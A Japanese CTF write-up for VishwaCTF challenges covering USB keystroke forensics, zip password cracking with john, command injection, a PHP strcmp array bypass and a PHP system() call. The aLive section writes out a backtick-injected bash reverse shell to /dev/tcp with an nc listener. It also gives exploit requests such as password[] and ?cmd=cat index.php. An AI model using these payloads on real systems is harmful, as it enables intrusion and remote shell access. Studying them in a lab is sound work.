[Forensics] 1nj3ct0r
USBの通信をキャプチャしたpcapngファイルが与えられる。
No.107のパケットがDESCRIPTOR Response HID Report
であり、
ここから7.16.Xがキーボードであることが読み取れる。
7.16.1 -> hostの通信にHID Dataが乗っているので、抜き出してみる。
0000 0009 0000 000f 0000 0004 ...
となっているので、結構キーボード入力のキャプチャっぽい。
微妙にいつもと様式が異なるので、すべての先頭に00を付けて
Decoding Mixed Case USB Keystrokes from PCAP
にあるスクリプトに通してみるとキーボード入力が得られた。
$ python3 a.py a.txt flag;[n0w-y0u-423-d0n3-w17h-u58-f023n51c5]
-を_に変換して[]の中身をVishwaCTF{}にくるめば答えのフラグ。
[Forensics] The Sender Conundrum
メールと暗号化zipが与えられる。
メールの内容は以下の通り。
Hello Marcus Cooper, You are one step behind from finding your flag. Here is a Riddle: I am a noun and not a verb or an adverb. I am given to you at birth and never taken away, You keep me until you die, come what may. What am I?
英語でなぞなぞするな…と思ってChatGPTに聞いてみると答えは"Name"らしい…がこれでは解凍できない。
総当たりでパスワードクラックを試すと、パスワードが判明し解凍すると答えになる。
$ zip2john unzipme.zip > h ver 1.0 unzipme.zip/unzipme/ is not encrypted, or stored with non-handled compression type ver 1.0 efh 5455 efh 7875 unzipme.zip/unzipme/flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=52, decmplen=40, crc=685F97F7 ts=A65D cs=a65d type=0 $ john --wordlist=/usr/share/wordlists/rockyou.txt h Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status BrandonLee (unzipme.zip/unzipme/flag.txt)
BrandonLeeは俳優の名前であり、なぞなぞの回答で解凍はできないようだ…
[web] aLive
ソースコード無し。
ドメインを入力してactive/inactiveを判定してくれるサイトが与えられる。
POST /
に対してdomain=localhost
みたいな感じでドメインを渡している。
何かしらのコマンドで確認していて、コマンドインジェクションできそうと仮定して色々やるとdomain=`sleep%2010`
で10秒waitがかかる。
実行結果は取得できないが、コマンドインジェクションはできてそうだ。
OOB抽出とかいろいろやったけれど、最終的にconohaで適用にPC作ってリバースシェル確立してフラグを得た。
conohaだと時間課金なので適当に作って潰してがやりやすいので重宝している。
conohaで適当にUbuntuでサーバーを立てて、ufw allow 443
みたいにポート開けてnc -lnvp 443
で待つ。
domainに`/bin/bash -c "/bin/bash -i >& /dev/tcp/[yourip]/443 0>&1"`
を入れるとリバースシェルが発火してシェルが得られる。
カレントディレクトリにflag.txtがあるので、cat flag.txt
してみるとフラグが置いてある。
サーバーは使い終わったら消しておくこと。管理がちゃんとしてないなら、コスト面での安全性の面でも残しておくのはおすすめしない。
[web] Eeezzy
ログイン画面と検証のためのソースコードが与えられる。
<?php session_start(); $_SESSION['status']=null; $flag=""; try { if (isset($_GET['username']) && isset($_GET['password'])) { if (strcmp($_GET['username'], $flag)==0 && strcmp($_GET['password'], $flag)==0) $_SESSION['status']=$flag; else $_SESSION['status']="Invalid username or password"; } } catch (Throwable $th) { $_SESSION['status']=$flag; } ?>
strcmpでユーザー名パスワードを検証していて、
途中で仮に例外になってもフラグがもらえるみたい。
適当にパラメタを配列化してやればフラグが出てきた。
GET /?username=&password[]=&submit=Login HTTP/2 Host: ch411114113999.ch.eng.run
よくわからないのが、usernameもpasswordも配列にするとフラグが出てこなかった。
なぜだろう?
[web] Payload
ソースコード無し。
System details
というボタンがあり、押してみるとunameの結果っぽいものがもらえる。
ノーヒントなので、とりあえず/robots.txt
を見てみると、ソースコードがもらえる。
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } else { if(isset($_GET['btn'])){ echo "<b>System Details: </b>"; system("uname -a"); } } ?>
/?cmd=id
でidコマンドの結果が得られた。
/?cmd=cat%20index.php
でindex.phpの内容を得ることができ、そこにフラグも書いてある。